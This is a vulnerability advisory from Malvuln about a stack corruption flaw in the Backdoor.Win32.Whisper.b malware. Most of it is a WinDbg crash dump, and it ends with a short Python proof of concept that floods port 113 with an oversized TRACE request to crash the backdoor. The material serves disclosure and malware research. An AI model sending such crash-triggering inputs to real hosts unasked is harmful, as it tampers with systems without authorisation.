Backdoor.Win32.Whisper.b malware suffers from a remote stack corruption vulnerability.
00173e13d2956a6328a9cebb2d0a4a3d4112f4f2540b2123489e6ec20fb4a779
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/a0edb91f62c8c083ec35b32a922168d1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Whisper.b
Vulnerability: Remote Stack Corruption
Description: Whisper.b listens on TCP port 113 and connects to port 6667, deletes itself drops executable named rundll32.exe in Windows\System dir. The malware is prone to stack corruption issues when receiving unexpected characters of random sizes.
Type: PE32
MD5: a0edb91f62c8c083ec35b32a922168d1
Vuln ID: MVID-2021-0039
Dropped files: rundll32.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/19/2021
Memory Dump:
(1afc.1284): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=e026bf39 edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=04a4f65c ebp=04a4f7ec iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for rundll32.exe
*** ERROR: Module load completed but symbols could not be loaded for rundll32.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
+2f
e48240ad ?? ???
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: e48240ad
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: e48240ad
Attempt to read from address e48240ad
PROCESS_NAME: rundll32.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: e48240ad
READ_ADDRESS: e48240ad
FOLLOWUP_IP:
ntdll!__RtlUserThreadStart+2f
773c4a77 e988ed0300 jmp ntdll!__RtlUserThreadStart+0x3edbc (77403804)
FAILED_INSTRUCTION_ADDRESS:
+2f
e48240ad ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
LAST_CONTROL_TRANSFER: from 773c4a77 to e48240ad
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_STACK_CORRUPTION
PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_EXPLOITABLE
DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE
IP_ON_HEAP: e48240ad
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
04a4ff94 773c4a77 00000000 3af22017 00000000 0xe48240ad
736e6e20 cd614028 41d249d6 3dfc3391 92dff545 ntdll!__RtlUserThreadStart+0x2f
736e6e24 41d249d6 3dfc3391 92dff545 cd55d73c 0xcd614028
736e6e28 3dfc3391 92dff545 cd55d73c 4f5ef4ed 0x41d249d6
736e6e2c 92dff545 cd55d73c 4f5ef4ed 81eb06aa 0x3dfc3391
736e6e30 cd55d73c 4f5ef4ed 81eb06aa 7f29e23d 0x92dff545
736e6e34 4f5ef4ed 81eb06aa 7f29e23d cd551d8d 0xcd55d73c
736e6e38 81eb06aa 7f29e23d cd551d8d 4e19a09f 0x4f5ef4ed
736e6e3c 7f29e23d cd551d8d 4e19a09f 860534a8 0x81eb06aa
736e6e40 cd551d8d 4e19a09f 860534a8 fba5b239 0x7f29e23d
736e6e44 4e19a09f 860534a8 fba5b239 cd4e1429 0xcd551d8d
736e6e48 860534a8 fba5b239 cd4e1429 42473b1b 0x4e19a09f
736e6e4c fba5b239 cd4e1429 42473b1b f6b1c781 0x860534a8
736e6e50 cd4e1429 42473b1b f6b1c781 10d3e67d 0xfba5b239
736e6e54 42473b1b f6b1c781 10d3e67d cd3fa923 0xcd4e1429
736e6e58 f6b1c781 10d3e67d cd3fa923 46667fd6 0x42473b1b
736e6e5c 10d3e67d cd3fa923 46667fd6 4a9e6faa 0xf6b1c781
736e6e60 cd3fa923 46667fd6 4a9e6faa a4020484 0x10d3e67d
736e6e64 46667fd6 4a9e6faa a4020484 cd3306f1 0xcd3fa923
736e6e68 4a9e6faa a4020484 cd3306f1 47da0c2e 0x46667fd6
736e6e6c a4020484 cd3306f1 47da0c2e e555a9a4 0x4a9e6faa
736e6e70 cd3306f1 47da0c2e e555a9a4 05adc8fa 0xa4020484
736e6e74 47da0c2e e555a9a4 05adc8fa cd317e1a 0xcd3306f1
736e6e78 e555a9a4 05adc8fa cd317e1a 40e92213 0x47da0c2e
736e6e7c 05adc8fa cd317e1a 40e92213 19029ab0 0xe555a9a4
736e6e80 cd317e1a 40e92213 19029ab0 bae1e59b 0x5adc8fa
736e6e84 40e92213 19029ab0 bae1e59b cd277ed0 0xcd317e1a
736e6e88 19029ab0 bae1e59b cd277ed0 4f3b741b 0x40e92213
736e6e8c bae1e59b cd277ed0 4f3b741b bf22908d 0x19029ab0
736e6e90 cd277ed0 4f3b741b bf22908d 3b2b3d24 0xbae1e59b
736e6e94 4f3b741b bf22908d 3b2b3d24 cd17f8c4 0xcd277ed0
736e6e98 bf22908d 3b2b3d24 cd17f8c4 46fe8509 0x4f3b741b
736e6e9c 3b2b3d24 cd17f8c4 46fe8509 254058a4 0xbf22908d
736e6ea0 cd17f8c4 46fe8509 254058a4 3001decb 0x3b2b3d24
736e6ea4 46fe8509 254058a4 3001decb cd145a4e 0xcd17f8c4
736e6ea8 254058a4 3001decb cd145a4e 4324c135 0x46fe8509
736e6eac 3001decb cd145a4e 4324c135 e69f8e92 0x254058a4
736e6eb0 cd145a4e 4324c135 e69f8e92 b345abf4 0x3001decb
736e6eb4 4324c135 e69f8e92 b345abf4 cd11fbdc 0xcd145a4e
736e6eb8 e69f8e92 b345abf4 cd11fbdc 4b1f854b 0x4324c135
736e6ebc b345abf4 cd11fbdc 4b1f854b 6ad3aa94 0xe69f8e92
736e6ec0 cd11fbdc 4b1f854b 6ad3aa94 3c872390 0xb345abf4
736e6ec4 4b1f854b 6ad3aa94 3c872390 cd112693 0xcd11fbdc
736e6ec8 6ad3aa94 3c872390 cd112693 419dc5c2 0x4b1f854b
736e6ecc 3c872390 cd112693 419dc5c2 c5b98ea4 0x6ad3aa94
736e6ed0 cd112693 419dc5c2 c5b98ea4 a8a2743f 0x3c872390
736e6ed4 419dc5c2 c5b98ea4 a8a2743f cd043531 0xcd112693
736e6ed8 c5b98ea4 a8a2743f cd043531 4153c0d3 0x419dc5c2
736e6edc a8a2743f cd043531 4153c0d3 595b94bc 0xc5b98ea4
736e6ee0 cd043531 4153c0d3 595b94bc 5f42c9f4 0xa8a2743f
736e6ee4 4153c0d3 595b94bc 5f42c9f4 ccd78f11 0xcd043531
736e6ee8 595b94bc 5f42c9f4 ccd78f11 4f523611 0x4153c0d3
736e6eec 5f42c9f4 ccd78f11 4f523611 19c5fc80 0x595b94bc
736e6ef0 ccd78f11 4f523611 19c5fc80 7d50770a 0x5f42c9f4
736e6ef4 4f523611 19c5fc80 7d50770a ccd1e29b 0xccd78f11
736e6ef8 19c5fc80 7d50770a ccd1e29b 4cf3723e 0x4f523611
736e6efc 7d50770a ccd1e29b 4cf3723e 5793579e 0x19c5fc80
736e6f00 ccd1e29b 4cf3723e 5793579e 6b53dd4c 0x7d50770a
736e6f04 4cf3723e 5793579e 6b53dd4c cccbe7ef 0xccd1e29b
736e6f08 5793579e 6b53dd4c cccbe7ef 4b50c5a2 0x4cf3723e
736e6f0c 6b53dd4c cccbe7ef 4b50c5a2 da8387bb 0x5793579e
736e6f10 cccbe7ef 4b50c5a2 da8387bb 8405031f 0x6b53dd4c
736e6f14 4b50c5a2 da8387bb 8405031f ccc2f326 0xcccbe7ef
736e6f18 da8387bb 8405031f ccc2f326 47ed903b 0x4b50c5a2
736e6f1c 8405031f ccc2f326 47ed903b bdc41090 0xda8387bb
736e6f20 ccc2f326 47ed903b bdc41090 b419ea3e 0x8405031f
736e6f24 47ed903b bdc41090 b419ea3e ccc200e6 0xccc2f326
736e6f28 bdc41090 b419ea3e ccc200e6 42c4b62a 0x47ed903b
736e6f2c b419ea3e ccc200e6 42c4b62a fae8138c 0xbdc41090
736e6f30 ccc200e6 42c4b62a fae8138c c13f8cfb 0xb419ea3e
736e6f34 42c4b62a fae8138c c13f8cfb ccc1f553 0xccc200e6
736e6f38 fae8138c c13f8cfb ccc1f553 4f394841 0x42c4b62a
736e6f3c c13f8cfb ccc1f553 4f394841 7449f9a3 0xfae8138c
736e6f40 ccc1f553 4f394841 7449f9a3 e01900f9 0xc13f8cfb
736e6f44 4f394841 7449f9a3 e01900f9 ccc1dc5b 0xccc1f553
736e6f48 7449f9a3 e01900f9 ccc1dc5b 43bc0790 0x4f394841
736e6f4c e01900f9 ccc1dc5b 43bc0790 c8f17d9a 0x7449f9a3
736e6f50 ccc1dc5b 43bc0790 c8f17d9a d621268e 0xe01900f9
736e6f54 43bc0790 c8f17d9a d621268e ccc05de9 0xccc1dc5b
736e6f58 c8f17d9a d621268e ccc05de9 4628d666 0x43bc0790
736e6f5c d621268e ccc05de9 4628d666 26640782 0xc8f17d9a
736e6f60 ccc05de9 4628d666 26640782 869a8aeb 0xd621268e
736e6f64 4628d666 26640782 869a8aeb ccae28bc 0xccc05de9
736e6f68 26640782 869a8aeb ccae28bc 4e9d874c 0x4628d666
736e6f6c 869a8aeb ccae28bc 4e9d874c 18bfb3a4 0x26640782
736e6f70 ccae28bc 4e9d874c 18bfb3a4 4b6a2c12 0x869a8aeb
736e6f74 4e9d874c 18bfb3a4 4b6a2c12 ccac7724 0xccae28bc
736e6f78 18bfb3a4 4b6a2c12 ccac7724 404b732a 0x4e9d874c
736e6f7c 4b6a2c12 ccac7724 404b732a e34e7e97 0x18bfb3a4
736e6f80 ccac7724 404b732a e34e7e97 b347d056 0x4b6a2c12
736e6f84 404b732a e34e7e97 b347d056 ccac4ba9 0xccac7724
736e6f88 e34e7e97 b347d056 ccac4ba9 4d608700 0x404b732a
736e6f8c b347d056 ccac4ba9 4d608700 45d74286 0xe34e7e97
736e6f90 ccac4ba9 4d608700 45d74286 b6a77b95 0xb347d056
736e6f94 4d608700 45d74286 b6a77b95 cca03606 0xccac4ba9
736e6f98 45d74286 b6a77b95 cca03606 41766646 0x4d608700
736e6f9c b6a77b95 cca03606 41766646 b3f90cb2 0x45d74286
736e6fa0 cca03606 41766646 b3f90cb2 2f8f31ea 0xb6a77b95
736e6fa4 41766646 b3f90cb2 2f8f31ea cc9882c1 0xcca03606
736e6fa8 b3f90cb2 2f8f31ea cc9882c1 42897b24 0x41766646
736e6fac 2f8f31ea cc9882c1 42897b24 6a0028a1 0xb3f90cb2
736e6fb0 cc9882c1 42897b24 6a0028a1 46c8b036 0x2f8f31ea
736e6fb4 42897b24 6a0028a1 46c8b036 cc858d44 0xcc9882c1
736e6fb8 6a0028a1 46c8b036 cc858d44 4af581c3 0x42897b24
736e6fbc 46c8b036 cc858d44 4af581c3 faecc28f 0x6a0028a1
736e6fc0 cc858d44 4af581c3 faecc28f e9aecb98 0x46c8b036
736e6fc4 4af581c3 faecc28f e9aecb98 cc6f2aa6 0xcc858d44
736e6fc8 faecc28f e9aecb98 cc6f2aa6 4638c91c 0x4af581c3
736e6fcc e9aecb98 cc6f2aa6 4638c91c 1ef4e9a4 0xfaecc28f
736e6fd0 cc6f2aa6 4638c91c 1ef4e9a4 385e8c97 0xe9aecb98
736e6fd4 4638c91c 1ef4e9a4 385e8c97 cc6b27e2 0xcc6f2aa6
736e6fd8 1ef4e9a4 385e8c97 cc6b27e2 4fc68b92 0x4638c91c
736e6fdc 385e8c97 cc6b27e2 4fc68b92 29ba23b6 0x1ef4e9a4
736e6fe0 cc6b27e2 4fc68b92 29ba23b6 27b5127f 0x385e8c97
736e6fe4 4fc68b92 29ba23b6 27b5127f cc5f236c 0xcc6b27e2
736e6fe8 29ba23b6 27b5127f cc5f236c 4144a4f9 0x4fc68b92
736e6fec 27b5127f cc5f236c 4144a4f9 07085388 0x29ba23b6
736e6ff0 cc5f236c 4144a4f9 07085388 55d02d18 0x27b5127f
736e6ff4 4144a4f9 07085388 55d02d18 cc5d04d0 0xcc5f236c
736e6ff8 07085388 55d02d18 cc5d04d0 46030552 0x4144a4f9
736e6ffc 55d02d18 cc5d04d0 46030552 c3a32f81 0x7085388
736e7000 cc5d04d0 46030552 c3a32f81 30c4b360 0x55d02d18
736e7004 46030552 c3a32f81 30c4b360 cc4f0483 0xcc5d04d0
736e7008 c3a32f81 30c4b360 cc4f0483 4dcdc0cd 0x46030552
736e700c 30c4b360 cc4f0483 4dcdc0cd 6cdf1088 0xc3a32f81
736e7010 cc4f0483 4dcdc0cd 6cdf1088 fe776960 0x30c4b360
736e7014 4dcdc0cd 6cdf1088 fe776960 cc3c15b2 0xcc4f0483
736e7018 6cdf1088 fe776960 cc3c15b2 4f95c8c0 0x4dcdc0cd
736e701c fe776960 cc3c15b2 4f95c8c0 bbba8594 0x6cdf1088
736e7020 cc3c15b2 4f95c8c0 bbba8594 8caad0c1 0xfe776960
736e7024 4f95c8c0 bbba8594 8caad0c1 cc35a746 0xcc3c15b2
736e7028 bbba8594 8caad0c1 cc35a746 4673bb90 0x4f95c8c0
736e702c 8caad0c1 cc35a746 4673bb90 e10286a2 0xbbba8594
736e7030 cc35a746 4673bb90 e10286a2 1bde9afc 0x8caad0c1
736e7034 4673bb90 e10286a2 1bde9afc cc2ab78b 0xcc35a746
736e7038 e10286a2 1bde9afc cc2ab78b 43587097 0x4673bb90
736e703c 1bde9afc cc2ab78b 43587097 b417bbaa 0xe10286a2
736e7040 cc2ab78b 43587097 b417bbaa 9aa02c69 0x1bde9afc
736e7044 43587097 b417bbaa 9aa02c69 cc26c33f 0xcc2ab78b
736e7048 b417bbaa 9aa02c69 cc26c33f 41163379 0x43587097
736e704c 9aa02c69 cc26c33f 41163379 b856f991 0xb417bbaa
736e7050 cc26c33f 41163379 b856f991 34dbfe2b 0x9aa02c69
736e7054 41163379 b856f991 34dbfe2b cc20997b 0xcc26c33f
736e7058 b856f991 34dbfe2b cc20997b 470c37e8 0x41163379
736e705c 34dbfe2b cc20997b 470c37e8 d3eada87 0xb856f991
736e7060 cc20997b 470c37e8 d3eada87 439845b5 0x34dbfe2b
736e7064 470c37e8 d3eada87 439845b5 cc18eff2 0xcc20997b
736e7068 d3eada87 439845b5 cc18eff2 490f0bcc 0x470c37e8
736e706c 439845b5 cc18eff2 490f0bcc 9b5bf8ab 0xd3eada87
736e7070 cc18eff2 490f0bcc 9b5bf8ab a3fe95de 0x439845b5
736e7074 490f0bcc 9b5bf8ab a3fe95de cc135cdc 0xcc18eff2
736e7078 9b5bf8ab a3fe95de cc135cdc 45d4e588 0x490f0bcc
736e707c a3fe95de cc135cdc 45d4e588 6c919999 0x9b5bf8ab
736e7080 cc135cdc 45d4e588 6c919999 6c4993e7 0xa3fe95de
736e7084 45d4e588 6c919999 6c4993e7 cc11a7bc 0xcc135cdc
736e7088 6c919999 6c4993e7 cc11a7bc 45990818 0x45d4e588
736e708c 6c4993e7 cc11a7bc 45990818 9681eb87 0x6c919999
736e7090 cc11a7bc 45990818 9681eb87 c6be3f94 0x6c4993e7
736e7094 45990818 9681eb87 c6be3f94 cc0abbe7 0xcc11a7bc
736e7098 9681eb87 c6be3f94 cc0abbe7 4bec1d7f 0x45990818
736e709c c6be3f94 cc0abbe7 4bec1d7f 55110b83 0x9681eb87
736e70a0 cc0abbe7 4bec1d7f 55110b83 b153a1d6 0xc6be3f94
736e70a4 4bec1d7f 55110b83 b153a1d6 cc0988d1 0xcc0abbe7
736e70a8 55110b83 b153a1d6 cc0988d1 4a6b9dc9 0x4bec1d7f
736e70ac b153a1d6 cc0988d1 4a6b9dc9 ab2668be 0x55110b83
736e70b0 cc0988d1 4a6b9dc9 ab2668be 2492399f 0xb153a1d6
736e70b4 4a6b9dc9 ab2668be 2492399f cc07c3fa 0xcc0988d1
736e70b8 ab2668be 2492399f cc07c3fa 4510d5d6 0x4a6b9dc9
736e70bc 2492399f cc07c3fa 4510d5d6 fff52c96 0xab2668be
736e70c0 cc07c3fa 4510d5d6 fff52c96 6bc8d4ae 0x2492399f
736e70c4 4510d5d6 fff52c96 6bc8d4ae cc04b07d 0xcc07c3fa
736e70c8 fff52c96 6bc8d4ae cc04b07d 4b8d7df8 0x4510d5d6
736e70cc 6bc8d4ae cc04b07d 4b8d7df8 e7c036a9 0xfff52c96
736e70d0 cc04b07d 4b8d7df8 e7c036a9 bc145b66 0x6bc8d4ae
736e70d4 4b8d7df8 e7c036a9 bc145b66 cbf31bd1 0xcc04b07d
736e70d8 e7c036a9 bc145b66 cbf31bd1 4a6adeee 0x4b8d7df8
736e70dc bc145b66 cbf31bd1 4a6adeee 4896058e 0xe7c036a9
736e70e0 cbf31bd1 4a6adeee 4896058e 1dbe9ad9 0xbc145b66
736e70e4 4a6adeee 4896058e 1dbe9ad9 cbf26a30 0xcbf31bd1
736e70e8 4896058e 1dbe9ad9 cbf26a30 496fa9ba 0x4a6adeee
736e70ec 1dbe9ad9 cbf26a30 496fa9ba 00e61295 0x4896058e
736e70f0 cbf26a30 496fa9ba 00e61295 b4192c41 0x1dbe9ad9
736e70f4 496fa9ba 00e61295 b4192c41 cbee4159 0xcbf26a30
736e70f8 00e61295 b4192c41 cbee4159 4764294f 0x496fa9ba
736e70fc b4192c41 cbee4159 4764294f 1d0087ae 0xe61295
736e7100 cbee4159 4764294f 1d0087ae 37abef46 0xb4192c41
736e7104 4764294f 1d0087ae 37abef46 cbc0abbe 0xcbee4159
736e7108 1d0087ae 37abef46 cbc0abbe 46e4d0ca 0x4764294f
736e710c 37abef46 cbc0abbe 46e4d0ca 0f15eb88 0x1d0087ae
736e7110 cbc0abbe 46e4d0ca 0f15eb88 e53ce83f 0x37abef46
736e7114 46e4d0ca 0f15eb88 e53ce83f cbbabedb 0xcbc0abbe
736e7118 0f15eb88 e53ce83f cbbabedb 4efd1c66 0x46e4d0ca
736e711c e53ce83f cbbabedb 4efd1c66 273adabe 0xf15eb88
736e7120 cbbabedb 4efd1c66 273adabe 6a052189 0xe53ce83f
736e7124 4efd1c66 273adabe 6a052189 cbb4f0fd 0xcbbabedb
736e7128 273adabe 6a052189 cbb4f0fd 481edf94 0x4efd1c66
736e712c 6a052189 cbb4f0fd 481edf94 dbd7e990 0x273adabe
736e7130 cbb4f0fd 481edf94 dbd7e990 23a5fe43 0x6a052189
736e7134 481edf94 dbd7e990 23a5fe43 cbb436b0 0xcbb4f0fd
736e7138 dbd7e990 23a5fe43 cbb436b0 43728ab9 0x481edf94
736e713c 23a5fe43 cbb436b0 43728ab9 0f33358b 0xdbd7e990
736e7140 cbb436b0 43728ab9 0f33358b 865e9c98 0x23a5fe43
736e7144 43728ab9 0f33358b 865e9c98 cbb051b3 0xcbb436b0
736e7148 0f33358b 865e9c98 cbb051b3 454f9567 0x43728ab9
736e714c 865e9c98 cbb051b3 454f9567 8be331ba 0xf33358b
736e7150 cbb051b3 454f9567 8be331ba 5f16c90a 0x865e9c98
736e7154 454f9567 8be331ba 5f16c90a cbb00f6b 0xcbb051b3
736e7158 8be331ba 5f16c90a cbb00f6b 4431f230 0x454f9567
736e715c 5f16c90a cbb00f6b 4431f230 7c92388c 0x8be331ba
736e7160 cbb00f6b 4431f230 7c92388c 0580fc6c 0x5f16c90a
736e7164 4431f230 7c92388c 0580fc6c cba8ca0f 0xcbb00f6b
736e7168 7c92388c 0580fc6c cba8ca0f 4494269a 0x4431f230
736e716c 0580fc6c cba8ca0f 4494269a 64005cb9 0x7c92388c
736e7170 cba8ca0f 4494269a 64005cb9 141d3536 0x580fc6c
736e7174 4494269a 64005cb9 141d3536 cb9ef1fc 0xcba8ca0f
736e7178 64005cb9 141d3536 cb9ef1fc 46761702 0x4494269a
736e717c 141d3536 cb9ef1fc 46761702 2d7b6687 0x64005cb9
736e7180 cb9ef1fc 46761702 2d7b6687 2c
STACK_COMMAND: ~5s; .ecxr ; kb
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: ntdll!__RtlUserThreadStart+2f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: ntdll
IMAGE_NAME: ntdll.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 3a21d961
FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE_c0000005_ntdll.dll!__RtlUserThreadStart
BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_STACK_CORRUPTION_BAD_IP_ntdll!__RtlUserThreadStart+2f
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=113
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PACKIT="TRACE /"+"A"*69666+" HTTP/1.1\r\nHost: "+"B"*32000+"\r\n\r\n"
s.send(PACKIT)
s.close()
print("Backdoor.Win32.Whisper.b / Remote Stack Corruption")
print("MD5: a0edb91f62c8c083ec35b32a922168d1")
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).